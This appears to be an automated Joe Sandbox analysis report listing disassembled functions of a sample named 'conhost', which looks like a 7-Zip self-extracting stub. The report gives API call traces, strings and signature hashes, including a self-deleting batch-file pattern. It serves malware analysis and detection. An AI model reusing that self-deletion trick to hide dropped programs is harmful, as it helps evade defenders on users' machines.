Function 00402A2F Relevance: 1.3, APIs: 1, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,004133A4,?,?,?,0040C03F,?), ref: 00402A4B

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d52152f8240d310394afd4d808f8c2102ad5bdb202a27d84af0ad2d18dcc3f18
Instruction ID: 5872fe86412dcdd468f52b7ecb5979782df8fbe157f8593837c634c381a8cb4c
Opcode Fuzzy Hash: d52152f8240d310394afd4d808f8c2102ad5bdb202a27d84af0ad2d18dcc3f18
Instruction Fuzzy Hash: 5FC08C703483007AEE211B748F0BB4B3653AF84B16F90C029F348B40E0CBF58410AA0A

Function 00401FF0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000,00413333,00000000,?,0041339B,?,?,0040C03F,?), ref: 00402002

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: ef87b2e52dde92dd11102c14b5a17c3afe989afc729bbcebbe3bdea788540431
Instruction ID: 703a6ff84afb8074b9885b8fa9c0ccab1db7962bc4b9572073b4c9a6fb1bc3a6
Opcode Fuzzy Hash: ef87b2e52dde92dd11102c14b5a17c3afe989afc729bbcebbe3bdea788540431
Instruction Fuzzy Hash: 8DB09230285700BAEF224B00DE0DB4A76A0BB80B06F24C428B288240E087B86818DA0E

Non-executed Functions

Function 0040247D Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 150stringCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
wsprintfW.USER32 ref: 004024DD
GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
GetLastError.KERNEL32 ref: 004024F7
??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402512
GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
GetLastError.KERNEL32 ref: 0040252C
lstrcmpiW.KERNEL32(00000000,?), ref: 00402541
??3@YAXPAX@Z.MSVCRT(00000000), ref: 00402551
??3@YAXPAX@Z.MSVCRT(?), ref: 0040256F
SetLastError.KERNEL32(00000003), ref: 00402578
lstrlenA.KERNEL32(0041B328), ref: 004025AC
??2@YAPAXI@Z.MSVCRT(00000000), ref: 004025C7
GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9
_wtol.MSVCRT ref: 0040260A
MultiByteToWideChar.KERNEL32(00000000,0041B328,00000001,00000000,00000002), ref: 0040262A

Strings

7zSfxString%d, xrefs: 004024D7

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ErrorLast$??2@??3@EnvironmentVariable$ByteCharInfoLocaleMultiWide_wtollstrcmpilstrlenwsprintf
String ID: 7zSfxString%d
API String ID: 2117570002-3906403175
Opcode ID: 1e66384528f8902588da61b39e4c791fa7c9fedd47d5a16bc49d7bfd503cfe5a
Instruction ID: 1954578a42ed511618fabe736ee1125ec7d3cad31fc3f85986fc13fa068848c6
Opcode Fuzzy Hash: 1e66384528f8902588da61b39e4c791fa7c9fedd47d5a16bc49d7bfd503cfe5a
Instruction Fuzzy Hash: 9951A379900214FFDB10DF75DD49ADABBA9FB08340F10443AE946E62D0E7B8A951CB1D

Function 004092C1 Relevance: 27.1, APIs: 18, Instructions: 144windowcomtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

GetDlgItem.USER32(?,000004B8), ref: 004092EE
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004092FD
GetDlgItem.USER32(?,000004B5), ref: 00409344
GetWindowLongW.USER32(00000000,000000F0), ref: 00409349
GetDlgItem.USER32(?,000004B5), ref: 00409359
SetWindowLongW.USER32(00000000), ref: 0040935C
GetSystemMenu.USER32(?,00000000,000004B4,00000000), ref: 00409382
EnableMenuItem.USER32(00000000,0000F060,00000001), ref: 00409394
GetDlgItem.USER32(?,000004B4), ref: 0040939E
SetFocus.USER32(00000000), ref: 004093A1
SetTimer.USER32(?,00000001,00000000,00000000), ref: 004093D0
CoCreateInstance.OLE32(0041C464,00000000,00000001,0041BD6C,?), ref: 004093F4
GetDlgItem.USER32(?,00000002), ref: 00409411
IsWindow.USER32(00000000), ref: 00409414
GetDlgItem.USER32(?,00000002), ref: 00409424
EnableWindow.USER32(00000000), ref: 00409427
GetDlgItem.USER32(?,000004B5), ref: 0040943B
ShowWindow.USER32(00000000), ref: 0040943E

Part of subcall function 0040819E: GetDlgItem.USER32(?,000004B6), ref: 004081AC

Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
Part of subcall function 00408E76: LoadIconW.USER32(00000000), ref: 00408EA2
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000032), ref: 00408EB6
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000031), ref: 00408EBB
Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
Part of subcall function 00408E76: LoadImageW.USER32(00000000), ref: 00408EC7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F0C
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F16
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F22
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F3F
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F4D
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F59
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: Item$Window$Long$MessageSendSystem$EnableHandleLoadMenuMetricsModuleShow$CreateFocusIconImageInstanceTimer
String ID:
API String ID: 1057135554-0
Opcode ID: ba3a8e7896f853d1d8996d9c4767784286a57f8b05f592c4c5be814e68872b41
Instruction ID: 5db8082ad3932120c1d3ad580c4d4a8d12b10d7a787853330903dc21ac74032f
Opcode Fuzzy Hash: ba3a8e7896f853d1d8996d9c4767784286a57f8b05f592c4c5be814e68872b41
Instruction Fuzzy Hash: E54184B0605708AFDA246F22DD49F6B7B9DFF44B04F00843EF955A62E1CB79A850CA1D

Function 004020BF Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 004020CA
FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 004020E7
FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 004020FB
SizeofResource.KERNEL32(00000000,00000000), ref: 0040210C
LoadResource.KERNEL32(00000000,00000000), ref: 00402116
LockResource.KERNEL32(00000000), ref: 00402121
LoadLibraryA.KERNEL32(kernel32,SetProcessPreferredUILanguages), ref: 0040214D
GetProcAddress.KERNEL32(00000000), ref: 00402156
wsprintfW.USER32 ref: 00402175
LoadLibraryA.KERNEL32(kernel32,SetThreadPreferredUILanguages), ref: 0040218A
GetProcAddress.KERNEL32(00000000), ref: 0040218D

Strings

%04X%c%04X%c, xrefs: 0040216F
SetThreadPreferredUILanguages, xrefs: 00402184
kernel32, xrefs: 0040213D, 00402142, 00402189
SetProcessPreferredUILanguages, xrefs: 00402138

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: Resource$Load$AddressFindLibraryProc$HandleLockModuleSizeofwsprintf
String ID: %04X%c%04X%c$SetProcessPreferredUILanguages$SetThreadPreferredUILanguages$kernel32
API String ID: 2639302590-365843014
Opcode ID: 4509f4e0e8980c838efd414ca7c3a82435c9d4736e02e482c88f6a1a6bb26b48
Instruction ID: 092f3855134823e072dda954e94301c8fdf66ebe7b0f0e4b82829ee13f00460f
Opcode Fuzzy Hash: 4509f4e0e8980c838efd414ca7c3a82435c9d4736e02e482c88f6a1a6bb26b48
Instruction Fuzzy Hash: 7C21B0B5941308BBDB119BA59C08F9B3ABCEB44711F108422FA04E72D0D6B8CD108BA9

Function 00409606 Relevance: 16.6, APIs: 11, Instructions: 96stringwindowCOMMON

Download Yara Rule

APIs

wvsprintfW.USER32(?,00000000,?), ref: 0040962A
GetLastError.KERNEL32 ref: 0040963B
FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
lstrlenW.KERNEL32(?), ref: 0040968B
lstrlenW.KERNEL32(?), ref: 00409692
??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
LocalFree.KERNEL32(?), ref: 004096E1

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: FormatMessagelstrcpylstrlen$??2@??3@ErrorFreeLastLocalwvsprintf
String ID:
API String ID: 829399097-0
Opcode ID: 25bacde36afee5eda2010891542c634a4b56d274371cd47ec79054000a40c2cb
Instruction ID: 0f5aa2174aa9d056a6dafd0f9c7aa592ac4ad2a583e4ab7749965f253d727b0f
Opcode Fuzzy Hash: 25bacde36afee5eda2010891542c634a4b56d274371cd47ec79054000a40c2cb
Instruction Fuzzy Hash: F0216176800108FFDB159FA1DC85DEB7BACEF08354B10847BF946A6191EA359E84CBA4

Function 00408DBB Relevance: 7.5, APIs: 5, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00408DDA
SetWindowsHookExW.USER32(00000007,Function_00008D01,00000000,00000000), ref: 00408DE5
GetCurrentThreadId.KERNEL32 ref: 00408DF4
SetWindowsHookExW.USER32(00000002,Function_00008D8D,00000000,00000000), ref: 00408DFF
EndDialog.USER32(?,00000000), ref: 00408E25

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: CurrentHookThreadWindows$Dialog
String ID:
API String ID: 1967849563-0
Opcode ID: 64107a2dc15b1d7316d888ad8cd960e682b3da45f1fa61c15e116e140322c59e
Instruction ID: b9e6956ff065cd05f2df324d2b5f6df6e8dcd0ec849c0deb45459710c318944d
Opcode Fuzzy Hash: 64107a2dc15b1d7316d888ad8cd960e682b3da45f1fa61c15e116e140322c59e
Instruction Fuzzy Hash: 51012671201218DFD2106F57ED44AB2F3ECEF54395B01843FE606D29A0CBB758008F69

Function 00402744 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,004066A7,?,?,?,?,004066A7), ref: 0040277D
CheckTokenMembership.ADVAPI32(00000000,004066A7,?,?,?,?,004066A7,00000000,?,?), ref: 0040278F
FreeSid.ADVAPI32(004066A7,?,?,?,004066A7,00000000,?,?), ref: 00402798

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 65cc84debf9a599d2aa76ae24c15b7a3b387b9e5edbe49ca06617e6efb59e37b
Instruction ID: 8fcaf4468ec200eb9195fd6454b881e9af9bec8ea6f7a7215fc0dea95779660d
Opcode Fuzzy Hash: 65cc84debf9a599d2aa76ae24c15b7a3b387b9e5edbe49ca06617e6efb59e37b
Instruction Fuzzy Hash: 44F03176945248FEDB01DFE88D85ADDBF7CAB18200F4480AAE105A3182D2705714CB29

Function 00405489 Relevance: 56.2, APIs: 30, Strings: 2, Instructions: 213threadprocesssynchronizationCOMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(?,00000000,?), ref: 004054AA
??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 0040556D
??3@YAXPAX@Z.MSVCRT(?,?,00000000), ref: 00405575
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 0040557D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000), ref: 00405585
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000), ref: 0040558D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000000), ref: 00405595
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000000), ref: 0040559D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 004055A5
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 004055AD
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004055B5
GetStartupInfoW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004055CE
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000001,01000004,00000000,00000044,?), ref: 004055F5
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 004055FF
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 0040560A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405612
CreateJobObjectW.KERNEL32(00000000,00000000), ref: 00405627
AssignProcessToJobObject.KERNEL32(00000000,?), ref: 0040563E
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 0040564E
SetInformationJobObject.KERNEL32(?,00000007,?,00000008), ref: 0040566F
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405678
GetQueuedCompletionStatus.KERNEL32(00000000,?,?,?,000000FF,?,?,?,?,?,?,?,?,?,00000000), ref: 00405697
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004056A0
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,00000000), ref: 004056A7
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004056B6
GetExitCodeProcess.KERNEL32(?,?), ref: 004056BF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 004056CA
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 004056D6
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004056DD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004056E8

Strings

sfxwaitall, xrefs: 004054D0
" -, xrefs: 004054D5

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@$CloseHandleObject$CreateProcess$CompletionErrorLastResumeThread$AssignCodeCommandExitInfoInformationLinePortQueuedSingleStartupStatusWait
String ID: " -$sfxwaitall
API String ID: 2734624574-3991362806
Opcode ID: c2e281962814c2bd4c040bf537fa2d9b9fa3379860e294df17422ee88ae54ba2
Instruction ID: 96b1f86dbfc8e56d759c45ddf3715b356338dee30da8fd38d33b0e85c5ab07db
Opcode Fuzzy Hash: c2e281962814c2bd4c040bf537fa2d9b9fa3379860e294df17422ee88ae54ba2
Instruction Fuzzy Hash: F66151B2801108BBDF11AFA2DC45DDF3B7DFF48314F004536F915A21A1EB3A99549B69

Function 00403B54 Relevance: 38.8, APIs: 20, Strings: 2, Instructions: 290comCOMMON

Download Yara Rule

APIs

_wtol.MSVCRT ref: 00403B78
SHGetSpecialFolderPathW.SHELL32(00000000,?,?,00000000,0041EA00,00000000,0041E9F4), ref: 00403C1B
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00403C8C
??3@YAXPAX@Z.MSVCRT(?,?,?), ref: 00403C94
??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 00403C9C
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?), ref: 00403CA4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?), ref: 00403CAC
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 00403CB4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 00403CBC
_wtol.MSVCRT ref: 00403D12
CoCreateInstance.OLE32(0041C454,00000000,00000001,0041C414,[@,.lnk,?,0000005C), ref: 00403DB3
??3@YAXPAX@Z.MSVCRT(?,0000005C), ref: 00403E4B
??3@YAXPAX@Z.MSVCRT(?,?,0000005C), ref: 00403E53
??3@YAXPAX@Z.MSVCRT(?,?,?,0000005C), ref: 00403E5B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,0000005C), ref: 00403E63
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,0000005C), ref: 00403E6B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,0000005C), ref: 00403E73
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,0000005C), ref: 00403E7B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,0000005C), ref: 00403E81
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0000005C), ref: 00403E89

Strings

.lnk, xrefs: 00403D92
[@, xrefs: 00403B65, 00403D9F, 00403DC1, 00403E13, 00403E3F, 00403E06, 00403DF5, 00403DE4, 00403DD3, 00403B77, 00403C7C, 00403DA2, 00403DCA, 00403DDB, 00403DEC, 00403DFD, 00403E0F, 00403E21, 00403E44

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@$_wtol$CreateFolderInstancePathSpecial
String ID: .lnk$[@
API String ID: 408529070-3575931549
Opcode ID: bf0e8a7df910328bb8376132718844ce6bb33e016dc20b09a56e47b2bf9c17d8
Instruction ID: 946a9f5c9c0093345211e4afafb7f9b8cfdd3f629f77b347e180bd11e348c725
Opcode Fuzzy Hash: bf0e8a7df910328bb8376132718844ce6bb33e016dc20b09a56e47b2bf9c17d8
Instruction Fuzzy Hash: 57A16E75810108ABCF15EFA1CC969EEBB7DFF19306F50442AF402B61A1EB399E41CB58

Function 00404F0E Relevance: 37.0, APIs: 3, Strings: 18, Instructions: 227stringCOMMON

Download Yara Rule

APIs

_wtol.MSVCRT ref: 004050E7
_wtol.MSVCRT ref: 00405103
lstrcmpiW.KERNEL32(00000000,0041B810,?,?,?,?,?,?,?,?,?,?,?,?,?,004062C4), ref: 00404FEA

Part of subcall function 0040247D: GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
Part of subcall function 0040247D: wsprintfW.USER32 ref: 004024DD
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 004024F7
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402512
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 0040252C
Part of subcall function 0040247D: lstrcmpiW.KERNEL32(00000000,?), ref: 00402541
Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT(00000000), ref: 00402551
Part of subcall function 0040247D: SetLastError.KERNEL32(00000003), ref: 00402578
Part of subcall function 0040247D: lstrlenA.KERNEL32(0041B328), ref: 004025AC
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004025C7
Part of subcall function 0040247D: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9

Strings

ExtractPathWidth, xrefs: 004050F0
WarningTitle, xrefs: 00404FA2
Title, xrefs: 00404F1C
ExtractDialogWidth, xrefs: 004050C9
ErrorTitle, xrefs: 00404F8A
MiscFlags, xrefs: 0040507C, 00405081, 0040509D
ExtractTitle, xrefs: 00404FBA
GUIMode, xrefs: 00404FFF
ExtractPathText, xrefs: 00405124
PasswordText, xrefs: 0040516C
ExtractCancelText, xrefs: 004050AC
OverwriteMode, xrefs: 0040502C
GUIFlags, xrefs: 00405049, 0040504E, 0040506A
CancelPrompt, xrefs: 0040513C
ExtractPathTitle, xrefs: 0040510C
Progress, xrefs: 00404FD2
ExtractDialogText, xrefs: 004050B8
PasswordTitle, xrefs: 00405154

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ErrorLast$??2@EnvironmentVariable_wtollstrcmpi$??3@InfoLocalelstrlenwsprintf
String ID: CancelPrompt$ErrorTitle$ExtractCancelText$ExtractDialogText$ExtractDialogWidth$ExtractPathText$ExtractPathTitle$ExtractPathWidth$ExtractTitle$GUIFlags$GUIMode$MiscFlags$OverwriteMode$PasswordText$PasswordTitle$Progress$Title$WarningTitle
API String ID: 2725485552-2157245290
Opcode ID: d0ccb95079a2c606f9a3c0ce682cef1d136eaf38159f665c4b074d3e10087a1f
Instruction ID: 66a2ce9ff7a2cb702224bd8f74ea761d5872454bbbc4643ec2785d60350ddd68
Opcode Fuzzy Hash: d0ccb95079a2c606f9a3c0ce682cef1d136eaf38159f665c4b074d3e10087a1f
Instruction Fuzzy Hash: AC51D8F1E016007ADA216B275D4ADAF366CEB85704B28443BFD04F22D6E77C4A4046EF

Function 00405793 Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 144fileCOMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?,?,?), ref: 004057DA
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0040580B
WriteFile.KERNEL32(0041EA30,?,?,00407468,00000000,del ",:Repeat,00000000), ref: 004058C0
??3@YAXPAX@Z.MSVCRT(?), ref: 004058CB
CloseHandle.KERNEL32(0041EA30), ref: 004058D4
SetFileAttributesW.KERNEL32(00407468,00000000), ref: 004058EB
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 004058FD
??3@YAXPAX@Z.MSVCRT(?), ref: 00405906
??3@YAXPAX@Z.MSVCRT(?), ref: 00405912
??3@YAXPAX@Z.MSVCRT(00407468,?), ref: 00405918
??3@YAXPAX@Z.MSVCRT(00407468,?,?,?,?,?,?,?,?,?,?,?,?,?,00407468,0041EA30), ref: 00405946

Strings

" goto Repeat, xrefs: 00405874
if exist ", xrefs: 0040585B
open, xrefs: 004058F7
del ", xrefs: 00405833, 00405838, 00405881
:Repeat, xrefs: 00405826
7ZSfx%03x.cmd, xrefs: 004057EC
", xrefs: 0040584D, 00405852, 00405896

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
